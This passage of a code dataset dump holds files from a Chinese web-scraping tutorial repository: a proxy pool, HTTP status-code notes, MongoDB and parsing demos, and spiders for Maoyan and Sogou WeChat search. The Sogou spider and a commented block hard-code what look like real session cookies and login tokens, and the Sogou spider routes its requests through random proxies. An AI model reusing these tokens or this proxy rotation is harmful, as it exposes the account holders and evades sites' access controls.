score, '减1')\n return self.db()._cli.zincrby(PROXY_KEY, proxy, -1)\n else:\n print('代理', proxy, '当前响应系数', score, '移除')\n return self.db()._cli.zrem(PROXY_KEY, proxy)\n\n def exists(self, proxy):\n \"\"\"\n 判断是否存在\n :param proxy: 代理\n :return: 是否存在\n \"\"\"\n return self._cli.db().zrank(PROXY_KEY, proxy) is not None\n\n def all(self):\n return self._cli.db().zrangebyscore(PROXY_KEY, VALID_MIN_SCORE, VALID_MAX_SCORE)\n" }, { "alpha_fraction": 0.5147526860237122, "alphanum_fraction": 0.5586923956871033, "avg_line_length": 55.095237731933594, "blob_id": "99a949c72c8fcdcb0a7c3cfc6037ba686e9bf41e", "content_id": "80fcb1f34def187b6f54954538e702f3748e07d8", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 4809, "license_type": "permissive", "max_line_length": 113, "num_lines": 84, "path": "/README.md", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "# Python-Web-Crawler\n数据采集与网络爬虫\n\n### HTTP响应状态码\n<table>\n <th>信息性状态码</th>\n <tr><td>100</td> <td>continue</td></tr>\n <tr><td>100</td> <td>('continue')</td></tr>\n <tr><td>101</td> <td>('switching_protocols')</td></tr>\n <tr><td>102</td> <td>('processing',),</td></tr>\n <tr><td>103</td> <td>('checkpoint',),</td></tr>\n <tr><td>122</td> <td>('uri_too_long', 'request_uri_too_long'),</td></tr>\n\n <th>成功状态码</th>\n <tr><td>200</td> <td>('ok', 'okay', 'all_ok', 'all_okay', 'all_good', '\\\\o/', '✓'),</td></tr>\n <tr><td>201</td> <td>('created',),</td></tr>\n <tr><td>202</td> <td>('accepted',),</td></tr>\n <tr><td>203</td> <td>('non_authoritative_info', 'non_authoritative_information'),</td></tr>\n <tr><td>204</td> <td>('no_content',),</td></tr>\n <tr><td>205</td> <td>('reset_content', 'reset'),</td></tr>\n <tr><td>206</td> <td>('partial_content', 'partial'),</td></tr>\n <tr><td>207</td> <td>('multi_status', 'multiple_status', 'multi_stati', 'multiple_stati'),</td></tr>\n <tr><td>208</td> <td>('already_reported',),</td></tr>\n <tr><td>226</td> <td>('im_used',),</td></tr>\n\n <th>重定向状态码</th>\n <tr><td>300</td> <td>('multiple_choices',),</td></tr>\n <tr><td>301</td> <td>('moved_permanently', 'moved', '\\\\o-'),</td></tr>\n <tr><td>302</td> <td>('found',),</td></tr>\n <tr><td>303</td> <td>('see_other', 'other'),</td></tr>\n <tr><td>304</td> <td>('not_modified',),</td></tr>\n <tr><td>305</td> <td>('use_proxy',),</td></tr>\n <tr><td>306</td> <td>('switch_proxy',),</td></tr>\n <tr><td>307</td> <td>('temporary_redirect', 'temporary_moved', 'temporary'),</td></tr>\n <tr><td>308</td> <td>('permanent_redirect', 'resume_incomplete', 'resume'</td></tr>\n\n <th>客户端错误状态码</th>\n <tr><td>400</td> <td>('bad_request', 'bad'),</td></tr>\n <tr><td>401</td> <td>('unauthorized',),</td></tr>\n <tr><td>402</td> <td>('payment_required', 'payment'),</td></tr>\n <tr><td>403</td> <td>('forbidden',),</td></tr>\n <tr><td>404</td> <td>('not_found', '-o-'),</td></tr>\n <tr><td>405</td> <td>('method_not_allowed', 'not_allowed'),</td></tr>\n <tr><td>406</td> <td>('not_acceptable',),</td></tr>\n <tr><td>407</td> <td>('proxy_authentication_required', 'proxy_auth', 'proxy_authentication'),</td></tr>\n <tr><td>408</td> <td>('request_timeout', 'timeout'),</td></tr>\n <tr><td>409</td> <td>('conflict',),</td></tr>\n <tr><td>410</td> <td>('gone',),</td></tr>\n <tr><td>411</td> <td>('length_required',),</td></tr>\n <tr><td>412</td> <td>('precondition_failed', 'precondition'),</td></tr>\n <tr><td>413</td> <td>('request_entity_too_large',),</td></tr>\n <tr><td>414</td> <td>('request_uri_too_large',),</td></tr>\n <tr><td>415</td> <td>('unsupported_media_type', 'unsupported_media', 'media_type'),</td></tr>\n <tr><td>416</td> <td>('requested_range_not_satisfiable', 'requested_range', 'range_not_satisfiable'),</td></tr>\n <tr><td>417</td> <td>('expectation_failed',),</td></tr>\n <tr><td>418</td> <td>('im_a_teapot', 'teapot', 'i_am_a_teapot'),</td></tr>\n <tr><td>421</td> <td>('misdirected_request',),</td></tr>\n <tr><td>422</td> <td>('unprocessable_entity', 'unprocessable'),</td></tr>\n <tr><td>423</td> <td>('locked',),</td></tr>\n <tr><td>424</td> <td>('failed_dependency', 'dependency'),</td></tr>\n <tr><td>425</td> <td>('unordered_collection', 'unordered'),</td></tr>\n <tr><td>426</td> <td>('upgrade_required', 'upgrade'),</td></tr>\n <tr><td>428</td> <td>('precondition_required', 'precondition'),</td></tr>\n <tr><td>429</td> <td>('too_many_requests', 'too_many'),</td></tr>\n <tr><td>431</td> <td>('header_fields_too_large', 'fields_too_large'),</td></tr>\n <tr><td>444</td> <td>('no_response', 'none'),</td></tr>\n <tr><td>449</td> <td>('retry_with', 'retry'),</td></tr>\n <tr><td>450</td> <td>('blocked_by_windows_parental_controls', 'parental_controls'),</td></tr>\n <tr><td>451</td> <td>('unavailable_for_legal_reasons', 'legal_reasons'),</td></tr>\n <tr><td>499</td> <td>('client_closed_request',),</td></tr>\n\n <th>服务端错误状态码</th>\n <tr><td>500</td> <td>('internal_server_error', 'server_error', '/o\\\\', '✗'),</td></tr>\n <tr><td>501</td> <td>('not_implemented',),</td></tr>\n <tr><td>502</td> <td>('bad_gateway',),</td></tr>\n <tr><td>503</td> <td>('service_unavailable', 'unavailable'),</td></tr>\n <tr><td>504</td> <td>('gateway_timeout',),</td></tr>\n <tr><td>505</td> <td>('http_version_not_supported', 'http_version'),</td></tr>\n <tr><td>506</td> <td>('variant_also_negotiates',),</td></tr>\n <tr><td>507</td> <td>('insufficient_storage',),</td></tr>\n <tr><td>509</td> <td>('bandwidth_limit_exceeded', 'bandwidth'),</td></tr>\n <tr><td>510</td> <td>('not_extended',),</td></tr>\n <tr><td>511</td> <td>('network_authentication_required', 'network_auth', 'network_authentication')</td></tr>\n</table>" }, { "alpha_fraction": 0.5658230185508728, "alphanum_fraction": 0.5999607443809509, "avg_line_length": 30.079267501831055, "blob_id": "836f52611ec23b829989c5d888f7e26956d61adf", "content_id": "1755a83dddc39a0626697d6860d8f34902495d82", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5349, "license_type": "permissive", "max_line_length": 133, "num_lines": 164, "path": "/code/C5.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "from pymongo import MongoClient, ASCENDING\n# from bson.objectid import ObjectId\n\nclient = MongoClient(host='localhost',\n port=27017,\n username='Admin',\n password='admin')\n# 读取所有数据库\ndblist = client.list_database_names()\nDBName = 'spiders'\nprint('{}数据库存在'.format(DBName)) if DBName in dblist else print(\n '{}数据库不存在'.format(DBName))\nspiders = client[DBName]\n# 读取spiders数据库中的所有集合\nprint('list_collection_names: {}'.format(spiders.list_collection_names()))\n# 声明一个student集合对象\nspiders['student'].drop()\nstudent = spiders['student']\nrecord = {'_id': '20170101', 'name': 'Vector', 'age': 30, 'gender': 'male'}\nresult = student.insert_one(record)\nrecord = [{'_id': '20170102', 'name': 'Jordan', 'age': 20, 'gender': 'male'},\n {'_id': '20170203', 'name': 'Mike', 'age': 21, 'gender': 'male'}]\nstudent.insert_many(record)\nprint('Total: {}\\n'.format(student.estimated_document_count()))\n\nresults = student.find({'name': 'Vector'}).sort('name', ASCENDING)\nfor result in results:\n print(result.get('_id'))\nprint()\nresults = student.find({'age': {'$gt': 18}}).skip(1).limit(2)\nfor result in results:\n print(result)\nprint()\nrecord = student.find_one({'_id': '20170102'})\nprint(record)\nresult = student.update_one({'_id': '20170203'}, {'$set': {'name': 123, 'age': '60'}})\nprint('成功更新{}条记录'.format(result.modified_count))\nresult = student.delete_one({'name': 'vector'})\nprint('成功删除{}条记录'.format(result.deleted_count))\nprint('Total: {}'.format(student.estimated_document_count()))\n\n# import pymysql\n\n# db = pymysql.connect(host='localhost', port=3306,\n# user='root', password='root')\n# cursor = db.cursor()\n# cursor.execute('SELECT VERSION()')\n# data = cursor.fetchone()\n# print('Database version:', data)\n\n# # 执行sql语句创建数据库spiders\n# cursor.execute(\"CREATE DATABASE spiders DEFAULT CHARACTER SET utf8\")\n# # 执行sql语句指定要操作的数据库\n# cursor.execute('USE spiders')\n# # 执行sql语句创建student表\n# sql = 'CREATE TABLE IF NOT EXISTS student (id VARCHAR(255) NOT NULL,\\\n# name VARCHAR(255) NOT NULL, age INT NOT NULL, PRIMARY KEY (id))'\n# cursor.execute(sql)\n# # 执行sql语句插入一条学生记录\n# sql1 = 'INSERT INTO student(id, name, age) values(%s, %s, %s)'\n# data = {'id': '20120002', 'name': 'Vector', 'age': 30}\n# sql2 = 'INSERT INTO {table}({keys}) VALUES ({values})'.format(\n# table='student',\n# keys=', '.join(data.keys()),\n# values=', '.join(['%s'] * len(data)))\n\n# try:\n# cursor.execute(sql1, ('20120001', 'Bob', 20))\n# cursor.execute(sql2, tuple(data.values()))\n# db.commit()\n# except Exception as e:\n# print(e)\n# db.rollback()\n\n# try:\n# cursor.execute('SELECT * FROM student')\n# print('Count:', cursor.rowcount)\n# row = cursor.fetchone()\n# # rows = cursor.fetchall()\n# while row:\n# print('Row:', row)\n# row = cursor.fetchone()\n# except Exception as e:\n# print(e)\n# db.close()\n\n# import csv\n# import pandas as pd\n\n# # 写入CSV文件\n# with open('code/data.csv', 'w', newline='', encoding='utf-8') as csvfile:\n# writer = csv.DictWriter(csvfile,\n# fieldnames=['id', 'name', 'age'],\n# delimiter='-')\n# writer.writeheader()\n# writer.writerow({'id': '10005', 'name': '王伟', 'age': 22})\n# writer = csv.writer(csvfile, delimiter='-')\n# writer.writerow(['10001', 'Mike', 20])\n# writer.writerow(['10002', 'Bob', 22])\n# writer.writerow(['10003', 'Jordan', 21])\n\n# # 读取CSV文件\n# with open('data.csv', 'r', encoding='utf-8') as csvfile:\n# reader = csv.reader(csvfile)\n# for row in reader:\n# print(row)\n\n# df = pd.read_csv('data.csv')\n# print(df)\n\n# import json\n\n# # Json字符串的读取\n# str = '''\n# [\n# {\n# \"name\": \"鲍勃\",\n# \"gender\": \"男\",\n# \"birthday\": \"1992-10-18\"\n# }, {\n# \"name\": \"莉娜\",\n# \"gender\": \"女\",\n# \"birthday\": \"1995-10-18\"\n# }\n# ]\n# '''\n# print(json.loads(str))\n\n# # 数据存储为Json文件\n# with open('code/data.json', 'w+', encoding='utf-8') as file:\n# file.write(json.dumps(str))\n\n# # Json文件的读取\n# with open('code/data.json', 'r') as file:\n# str = file.read()\n# print(json.loads(str))\n\n# import requests\n# from lxml import etree\n# from requests import RequestException\n# from requests import cookies\n\n# def saveHTMLPage(name, url, header, jar):\n# try:\n# response = requests.get(url, header, cookies=jar)\n# if response.status_code == 200:\n# with open(name, mode='w+', encoding='utf-8') as f:\n# f.write(response.text)\n# else:\n# print(response.reason)\n# except RequestException as e:\n# print(e.reason)\n\n# def parseHTMLPage(pattern, name):\n# html = etree.parse(name, etree.HTMLParser())\n# return html.xpath(pattern)\n\n# if __name__ == '__main__':\n# jar = requests.cookies.RequestsCookieJar()\n# header = {\n# 'User-Agent':\n# 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'\n# }\n# saveHTMLPage('code/zhihu1.html', 'https://www.zhihu.com/explore', header)\n" }, { "alpha_fraction": 0.5682656764984131, "alphanum_fraction": 0.6053966879844666, "avg_line_length": 25.44512176513672, "blob_id": "9f7654402ee12de6d15f323968518d851a882a4b", "content_id": "5a10eff24d42bf39cd173b1bc6146e1ceb96f3c5", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4772, "license_type": "permissive", "max_line_length": 100, "num_lines": 164, "path": "/code/C4.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "from pyquery import PyQuery as pq\n\ntext = '''\n<div id=\"container\">\n <ul class=\"list\">\n <li class=\"item-0\">first item</li>\n <li class=\"item-1\"><a href=\"link2.html\">second item</a></li>\n <li class=\"item-0 active\"><a href=\"link3.html\"><span class=\"bold\">third item</span></a></li>\n <li class=\"item-1 active\"><a href=\"link4.html\">fourth item</a></li>\n <li class=\"item-0\"><a href=\"link5.html\">fifth item</a></li>\n </ul>\n</div>\n'''\ndoc = pq(text)\nli = doc('#container .list li')\nprint(li, type(li), \"\\n\")\n\nprint(\"find方法查找所有子孙节点\\n\", li.find('a'))\nprint(\"children方法查找所有儿子节点\\n\", doc(\".list\").children(\".active\"))\nprint(\"parent方法查找父亲节点\\n\", li.parent())\nprint(\"parents方法查找祖先节点\\n\", li.parents())\nprint(\"siblings方法查找兄弟节点\\n\", li.siblings())\nprint(\"items方法用于遍历节点\\n\", [item for item in li.items()])\nprint(\"attr方法用于获取属性\\n\", doc('.item-0.active a').attr('href'))\nprint(\"text方法用于获取文本\\n\", doc('.item-0.active a').text())\nprint(\"html方法用于获取含HTML文本\\n\", doc('.item-0.active a').html())\n\n\nprint(\"\\nremoveClass、addClass方法可操作class属性\")\nai = doc(\".item-0.active\")\nai.removeClass('active')\nprint(ai)\nai.addClass('active')\nprint(ai)\nai.find('span').remove()\nprint(ai.text())\n\n# from lxml import etree\n\n# text = '''\n# <div>\n# <ul>\n# <li class=\"item-0\">\n# <a href=\"link1.html\" class=\"first-link\">\n# <span>first item</span>\n# </a>\n# </li>\n# <li class=\"item-1\">\n# <a href=\"link2.html\">\n# <span>second item</span>\n# </a>\n# </li>\n# <li class=\"item-inactive grey-item\">\n# <a href=\"link3.html\">\n# <span>third item</span>\n# </a>\n# </li>\n# <li class=\"item-1\">\n# <a href=\"link4.html\">\n# <span>fourth item</span>\n# </a>\n# </li>\n# <li class=\"item-0\"><a href=\"link5.html\"><span>fifth item</a>\n# </ul>\n# </div>\n# '''\n# html = etree.HTML(text)\n# result = etree.tostring(html)\n# print(result.decode('utf-8'))\n\n# print(\"\\n选取父节点及属性匹配——获取链接link3.html对应a标签的父亲节点的class属性\")\n# result = html.xpath('//a[@href=\"link3.html\"]/../@class')\n# print(result)\n\n# print(\"\\n获取文本\")\n# result = html.xpath('//li[@class=\"item-0\"]//text()')\n# print(result)\n\n# print(\"\\n获取所有子孙节点的文本\")\n# result = html.xpath('//li[@class=\"item-0\"]//text()')\n# print(result)\n\n# print(\"\\n获取属性\")\n# result = html.xpath('//li/a/@href')\n# print(result)\n\n# print(\"\\n多值属性的匹配\")\n# result = html.xpath('//li[@class=\"grey-item\"]//span/text()')\n# result = html.xpath('//li[contains(@class, \"grey-item\")]//span/text()')\n# print(result)\n\n# print(\"\\n多个属性的匹配\")\n# result = html.xpath('//li/a[@href=\"link1.html\" and @class=\"first-link\"]/span/text()')\n# print(result)\n\n# print('\\n按序匹配')\n# result = html.xpath('//li[1]//span/text()')\n# print(result)\n# result = html.xpath('//li[last()]//span/text()')\n# print(result)\n# result = html.xpath('//li[position()<3]//span/text()')\n# print(result)\n# result = html.xpath('//li[last()-2]//span/text()')\n# print(result)\n\n# print(\"\\n按节点关系匹配\")\n# result = html.xpath('//li[1]/ancestor::*')\n# print(result)\n# result = html.xpath('//li[1]/ancestor::div')\n# print(result)\n# result = html.xpath('//li[1]/attribute::*')\n# print(result)\n# result = html.xpath('//li[1]/child::a[@href=\"link1.html\"]')\n# print(result)\n# result = html.xpath('//li[1]/descendant::span')\n# print(result)\n# result = html.xpath('//li[1]/following::*[2]')\n# print(result)\n# result = html.xpath('//li[1]/following-sibling::*')\n# print(result)\n\n# from lxml import etree\n\n# html = etree.parse('code/demo.html', etree.HTMLParser())\n# result = etree.tostring(html)\n# print(result.decode('utf-8'))\n\n\n# import re\n\n\n# text = \"\"\"张良: 13575457890 澎湖湾2号\n\n# 李白: 15978239086 蜀道115号\n# 杜甫: 18623456723 黄鹤楼镇11号\n\n\n# 范仲淹: 18978236745 贝尔加湖畔100号\"\"\"\n\n# entries = re.split(\"\\n+\", text)\n# print(entries)\n# phone_book = [re.split(\":? \", entry, 3) for entry in entries]\n# print(phone_book)\n\n# text = '''010-58991938\n# 客服邮箱:[email protected]广告服务:010-58991910京ICP证010385号\n# 客服热线:400-6000-121商务合作:010-58991806\n# 增值电信业务经营许可证B2-20050053\n# '''\n\n# pattern = r'(0\\d{3})-([^0]\\d{6})|(0\\d{2})-([^0]\\d{7})'\n# result = re.match(pattern, text)\n# print(result, '> match\\n')\n# if result:\n# print(result.group(), '> match\\n')\n# result = re.search(pattern, text)\n# print(result, '> search\\n')\n# if result:\n# print(result.group(), '> search\\n')\n# result = re.findall(pattern, text)\n# print(result, '> findall\\n')\n\n\n# import requests" }, { "alpha_fraction": 0.5405482649803162, "alphanum_fraction": 0.6464877128601074, "avg_line_length": 42.775001525878906, "blob_id": "b022ed28609576f4d7cdbd25eb0c6580c6efb1ff", "content_id": "89db2b4e191defe05e91d5fb26777d658adbe305", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3518, "license_type": "permissive", "max_line_length": 698, "num_lines": 80, "path": "/code/C10/weixin_spider.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "from pkg.redis import RedisCli\nfrom conf.cfg import Conf\nfrom pkg.ip_proxy import ProxyPool\nfrom pkg.util import browserwraper, httpget\nfrom urllib.parse import urlencode\n\n\ndef getweixinpage(pool: ProxyPool, keyword, pagenumber=1):\n param = {\n 'type': '2',\n 's_from': 'input',\n 'query': keyword,\n 'ie': 'utf8',\n '_sug_': 'n',\n '_sug_type_': ''\n }\n\n if pagenumber > 1:\n param['page'] = pagenumber\n headers = {\n 'Cache-Control': 'max-age=0',\n 'Connection': 'keep-alive',\n 'Content-Encoding': 'gzip',\n 'Content-Type': 'text/html; charset=utf-8',\n 'Date': 'Thu, 10 Dec 2020 07:25:23 GMT',\n 'Expires': 'Thu, 10 Dec 2020 07:25:23 GMT',\n 'Server': 'nginx',\n 'Set-Cookie': 'black_passportid=1; domain=.sogou.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT',\n 'Transfer-Encoding': 'chunked',\n 'Vary': 'Accept-Encoding',\n 'X-Frame-Options': 'allow-from sogou-inc.com',\n 'x_ad_pagesize': 'adpagesize=0',\n 'x_log_ext': 'ret=1&ret_exp=1&user_level=51&token=2EE5BC96D5E11D7C0C08BA1BBAFAA8600D07C5D05FD1CD63',\n 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',\n 'Accept-Encoding': 'gzip, deflate, br',\n 'Accept-Language': 'en-US,en;q=0.9',\n 'Connection': 'keep-alive',\n 'Cookie': 'ABTEST=0|1607583558|v1; SNUID=D5E11D7C0C08BA1BBAFAA8600D07C5D0; IPLOC=CN3300; SUID=D8EC11704018960A000000005FD1C746; JSESSIONID=aaaeanwvai68Zdhze4Eyx; SUV=0025C2A97011ECD85FD1C7483080E622; SUID=D8EC11702C18960A000000005FD1C752; weixinIndexVisited=1; ppinf=5|1607583630|1608793230|dHJ1c3Q6MToxfGNsaWVudGlkOjQ6MjAxN3x1bmlxbmFtZToyNzolRTYlQUMlQTIlRTQlQjklOTAlRTklQTklQUN8Y3J0OjEwOjE2MDc1ODM2MzB8cmVmbmljazoyNzolRTYlQUMlQTIlRTQlQjklOTAlRTklQTklQUN8dXNlcmlkOjQ0Om85dDJsdU9Zam1oaVltbnJtSGhpQnJPX3lSVElAd2VpeGluLnNvaHUuY29tfA; pprdig=xMbSMSzr5yZb0AXNxbfz-l3xT14nVK-k2ddiKs5RDQPum1-3p-TCROJVQ-fneVqdb47Ba_BHbvGc-ap3s146mY_ega9-LdTHLA5l__3u3EOEoZwSrdAzE-v0Xa5WanRsXlnG7bJ918aXhOPUyXYqQtRlbzBxZJhgaCnMXfX9WCs; ppinfo=544795b0fa; passport=5|1607583630|1608793230|dHJ1c3Q6MToxfGNsaWVudGlkOjQ6MjAxN3x1bmlxbmFtZToyNzolRTYlQUMlQTIlRTQlQjklOTAlRTklQTklQUN8Y3J0OjEwOjE2MDc1ODM2MzB8cmVmbmljazoyNzolRTYlQUMlQTIlRTQlQjklOTAlRTklQTklQUN8dXNlcmlkOjQ0Om85dDJsdU9Zam1oaVltbnJtSGhpQnJPX3lSVElAd2VpeGluLnNvaHUuY29tfA|bdfc681a3f|xMbSMSzr5yZb0AXNxbfz-l3xT14nVK-k2ddiKs5RDQPum1-3p-TCROJVQ-fneVqdb47Ba_BHbvGc-ap3s146mY_ega9-LdTHLA5l__3u3EOEoZwSrdAzE-v0Xa5WanRsXlnG7bJ918aXhOPUyXYqQtRlbzBxZJhgaCnMXfX9WCs; sgid=04-48806141-AVicRx46z6Nhd2YDMGhT9Gyk; ppmdig=160758363000000086b201db024213f1e06eb43135f85030',\n 'Host': 'weixin.sogou.com',\n 'Referer': 'https://weixin.sogou.com/weixin?type=2&query=NBA&ie=utf8&s_from=input&_sug_=n&_sug_type_=1&w=01015002&oq=&ri=0&sourceid=sugg&sut=0&sst0=1607583657856&lkt=0%2C0%2C0&p=40040108',\n 'Sec-Fetch-Dest': 'document',\n 'Sec-Fetch-Mode': 'navigate',\n 'Sec-Fetch-Site': 'same-origin',\n 'Sec-Fetch-User': '?1',\n 'Upgrade-Insecure-Requests': '1',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'\n }\n\n proxyip = pool.random()\n global proxies\n url = 'http://weixin.sogou.com/weixin?'+urlencode(param)\n if proxyip:\n proxies = {\n 'http': 'http://' + proxyip,\n 'https': 'https://' + proxyip\n }\n\n resp = httpget(url, headers=headers, proxies=proxies)\n if resp:\n pool.updatescore(proxyip, resp['elapsed'])\n return resp['body']\n else:\n resp = httpget(url, headers=headers)\n if resp:\n return resp['body']\n\n\nconf = Conf()\nredis = RedisCli(conf)\npool = ProxyPool(redis)\n# print(getweixinpage(pool, '马拉多纳'))\n\nparam = urlencode({\n 'type': '2',\n 'query': '马拉多纳'\n})\nurl = 'http://weixin.sogou.com/weixin?{}'.format(param)\nproxyip = pool.random()\nbrowser = browserwraper('--proxy-server=http://{}'.format(proxyip))\nprint(browser.get(url))\n" }, { "alpha_fraction": 0.6789297461509705, "alphanum_fraction": 0.6822742223739624, "avg_line_length": 18.933332443237305, "blob_id": "b3fb5b69cd24b15e22df3cc052dc2d8c0cca690e", "content_id": "89b7a8a764fefac40609e319e022fc5205924525", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 299, "license_type": "permissive", "max_line_length": 46, "num_lines": 15, "path": "/code/C9/proxy_spider.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "import configparser\nimport os\n\n\n# root = os.path.dirname(os.path.abspath('.'))\n# path = os.path.join(root, \"code/conf.ini\")\nprint(os.getcwd())\ncfg = configparser.ConfigParser()\ncfg.read('code/C9/conf.ini')\n\nprint(cfg.sections())\nprint(cfg.get('proxy-pool', 'url'))\n\n\nprint(cfg.get('mysql', 'host'))\n" }, { "alpha_fraction": 0.5736409425735474, "alphanum_fraction": 0.6207332611083984, "avg_line_length": 32.30526351928711, "blob_id": "ae17d9051d666a9bb7030213b2f6a5e0ca1eb515", "content_id": "fe6deaf26dbe8eaa67399c3022f32b7e2bfc842c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9682, "license_type": "permissive", "max_line_length": 489, "num_lines": 285, "path": "/code/C3.py", "repo_name": "DataScienceCoding/Python-Web-Crawler", "src_encoding": "UTF-8", "text": "import json\nimport requests\nfrom requests.exceptions import RequestException\nimport re\nimport time\nimport random\n\n\ndef get_one_page(url):\n try:\n response = requests.get(url)\n if response.status_code == 200:\n response.encoding = 'utf-8'\n return response.text\n return None\n except RequestException:\n return None\n\n\ndef parse_one_page(html):\n pattern = re.compile('<dd>.*?board-index.*?>(\\d+)</i>.*?data-src=\"(.*?)\".*?name\"><a'\n + '.*?>(.*?)</a>.*?star\">(.*?)</p>.*?releasetime\">(.*?)</p>'\n + '.*?integer\">(.*?)</i>.*?fraction\">(.*?)</i>.*?</dd>', re.S)\n items = re.findall(pattern, html)\n for item in items:\n yield {\n 'index': item[0],\n 'image': item[1],\n 'title': item[2],\n 'actor': item[3].strip()[3:],\n 'time': item[4].strip()[5:],\n 'score': item[5] + item[6]\n }\n\n\ndef write_html(offset, html):\n with open(\"code/{}.html\".format(offset), mode='w+', encoding='utf-8') as f:\n f.write(html)\n\n\ndef write_result(content):\n with open('result.txt', 'a') as f:\n f.write(json.dumps(content, ensure_ascii=False) + '\\n')\n\n\ndef main(offset):\n url = 'http://maoyan.com/board/4?offset=' + str(offset)\n html = get_one_page(url)\n write_html(offset, html)\n for item in parse_one_page(html):\n print(item)\n write_result(item)\n\n\nif __name__ == '__main__':\n for i in range(10):\n main(offset=i * 10)\n time.sleep(random.randint(1, 4))\n\n# import re\n\n# content = 'Hello, my phone number is 13512345678 and email is [email protected], \\\n# and my website is https://github.com/carmel.'\n\n# result = re.search('(1[3456789]\\d{9})', content, re.S)\n# if result:\n# print(result.group())\n# print(result.group(1))\n# print(result.span(), '\\n')\n\n# result = re.search('([a-zA-Z0-9_-]+@[a-zA-Z0-9_-]+(\\.[a-zA-Z0-9_-]+))+', content, re.S)\n# if result:\n# print(result.group(1))\n\n# html = '''<div id=\"songs-list\">\n# <h2 class=\"title\">经典老歌</h2>\n# <p class=\"introduction\">\n# 经典老歌列表\n# </p>\n# <ul id=\"list\" class=\"list-group\">\n# <li data-view=\"2\">一路上有你</li>\n# <li data-view=\"7\">\n# <a href=\"/2.mp3\" singer=\"任贤齐\">沧海一声笑</a>\n# </li>\n# <li data-view=\"4\" class=\"active\">\n# <a href=\"/3.mp3\" singer=\"齐秦\">往事随风</a>\n# </li>\n# <li data-view=\"6\"><a href=\"/4.mp3\" singer=\"beyond\">光辉岁月</a></li>\n# <li data-view=\"5\"><a href=\"/5.mp3\" singer=\"陈慧琳\">记事本</a></li>\n# <li data-view=\"5\">\n# <a href=\"/6.mp3\" singer=\"邓丽君\"><i class=\"fa fa-user\"></i>但愿人长久</a>\n# </li>\n# </ul>\n# </div>'''\n\n# results = re.findall('<li.*?href=\"(.*?)\".*?singer=\"(.*?)\">(.*?)</a>', html, re.S)\n# print(results)\n# for result in results:\n# print(result)\n# print(result[0], result[1], result[2], '\\n')\n\n# html = re.sub('<a.*?>|</a>', '', html)\n# print(html)\n# results = re.findall('<li.*?>(.*?)</li>', html, re.S)\n# for result in results:\n# print(result.strip(), '\\n')\n\n# content1 = '2016-12-15 12:00'\n# content2 = '2016-12-17 12:55'\n# content3 = '2016-12-22 13:21'\n# pattern = re.compile('\\d{2}:\\d{2}')\n# result1 = re.sub(pattern, '', content1)\n# result2 = re.sub(pattern, '', content2)\n# result3 = re.sub(pattern, '', content3)\n# print(result1, result2, result3, '\\n')\n\n# content = 'Hello 1234567 World_This is a Regex Demo'\n# result = re.match('^Hello\\s(\\d+)\\sWorld', content, re.I)\n# print(result)\n# print(result.group())\n# print(result.group(1))\n# print(result.span())\n# print(len('Hello 1234567 World'))\n\n# 抓取网页\n# headers = {\n# 'User-Agent':\n# 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36'\n# }\n# r = requests.get(\"https://www.zhihu.com/explore\", headers=headers)\n# r.encoding = r.apparent_encoding\n# pattern = re.compile(\n# 'ExploreRoundtableCard-title|ExploreSpecialCard-title.*?>(.*?)</a>', re.S)\n# titles = re.findall(pattern, r.text)\n# print(titles, '\\n')\n\n# 抓取文件\n# r = requests.get(\"https://github.com/favicon.ico\")\n# with open('favicon.ico', 'wb') as f:\n# f.write(r.content)\n\n# r = requests.get('https://www.jianshu.com')\n# print(r.status_code)\n# print(r.headers)\n# print(r.cookies)\n# print(r.url)\n# print(r.history)\n\n# 文件上传\n# files = {'file': open('favicon.ico', 'rb')}\n# r = requests.post(\"http://httpbin.org/post\", files=files)\n# print(r.text, '\\n')\n\n# # 获取cookie\n# r = requests.get(\"https://www.baidu.com\")\n# for key, value in r.cookies.items():\n# print(\"{0}={1}\\n\".format(key, value))\n\n# header添加cookie\n# cookies = 'q_c1=31653b264a074fc9a57816d1ea93ed8b|1474273938000|1474273938000; d_c0=\"AGDAs254kAqPTr6NW1U3XTLFzKhMPQ6H_nc=|1474273938\"; __utmv=51854390.100-1|2=registration_date=20130902=1^3=entry_date=20130902=1;a_t=\"2.0AACAfbwdAAAXAAAAso0QWAAAgH28HQAAAGDAs254kAoXAAAAYQJVTQ4FCVgA360us8BAklzLYNEHUd6kmHtRQX5a6hiZxKCynnycerLQ3gIkoJLOCQ==\";z_c0=Mi4wQUFDQWZid2RBQUFBWU1DemJuaVFDaGNBQUFCaEFsVk5EZ1VKV0FEZnJTNnp3RUNTWE10ZzBRZFIzcVNZZTFGQmZn|1474887858|64b4d4234a21de774c42c837fe0b672fdb5763b0'\n# jar = requests.cookies.RequestsCookieJar()\n# headers = {\n# 'Host': 'www.zhihu.com',\n# 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/53.0.2785.116 Safari/537.36'\n# }\n\n# for cookie in cookies.split(';'):\n# key, value = cookie.split('=', 1)\n# jar.set(key, value)\n# r = 